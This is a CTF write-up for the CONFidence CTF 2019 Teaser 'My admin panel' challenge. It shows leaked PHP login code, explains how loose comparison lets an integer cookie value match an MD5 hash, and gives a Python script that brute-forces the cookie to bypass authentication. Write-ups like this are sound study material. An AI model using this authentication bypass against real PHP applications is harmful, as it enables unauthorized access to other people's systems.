Teaser CONFidence CTF 2019

Hi,
Welcome to my write-up about CONFidence CTF 2019 Teaser!

Menu

My admin panel

Description:
I think I've found something interesting, but I'm not really a PHP expert. Do you think it's exploitable?
Link: https://gameserver.zajebistyc.tf/admin/
Click the link, you can see 2 files: login.php and login.php.bak. The file login.php.bak is a backup file of login.php, let's open it:
<?php

include '../func.php';
include '../config.php';

if (!$_COOKIE['otadmin']) {
    exit("Not authenticated.\n");
}

if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) {
    echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n";
    exit();
}

$session_data = json_decode($_COOKIE['otadmin'], true);

if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); }

if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
    echo("I CAN EVEN GIVE YOU A HINT XD \n");

    for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
        echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
    }

    exit("\n");
}

display_admin();
As you see, the script requires a cookie named otadmin which must be a form of {"hash": "SOMETHING"}, note that it has a space character after the colon. If you're unfamiliar with regular expression, use this online tool.
In fact, the cookie is JSON. It's then passed to the json_decode function and returns an object named $session_data. Because the second parameter of json_decode is true, which means assoc=true, the return object is an associative array.
Oh, it's very clear, isn't it?
Now comes the tricky part:
if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
    echo("I CAN EVEN GIVE YOU A HINT XD \n");

    for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
        echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
    }

    exit("\n");
}
At first glance, I intended to brute force the MD5 hash. When I sent the cookie otadmin={"hash": "SOMETHING"}, the server gave me a hint as you saw in the code: 0006464640640064000646464640006400640640646400.
However, it is unlikely possible with my laptop. When a character is "and" with 0xC0, if returning 0 so it can be 0-9, otherwise, if returning 64 so it can be A-Z and a-z. I read the code again slowly, and boom, I saw it uses loose comparison when compares the hash with MD5 of $cfg_pass.
When PHP compares an integer with a string using the loose comparison, it compares the integer with the first numeric characters of the string. It means 123!=='123' but 123=='123abc'.
Now take a look back to the server's hint, the first 3 zeros are 3 numeric characters and the 4th character of $cfg_pass' hash is an alphabetic one. Let's brute force only the first 3 numbers. I wrote a Python script to get the flag:
import requests
url='https://gameserver.zajebistyc.tf/admin/login.php'
s=requests.Session()
for i in range(1000):
 r=s.get(url,cookies={'otadmin':'{"hash": '+str(i)+'}'})
 if 'HINT' not in r.content:
  print r.content
  break
Finally, with otadmin={"hash": 389}, the flag appeared:

Thank you for reading!

Comments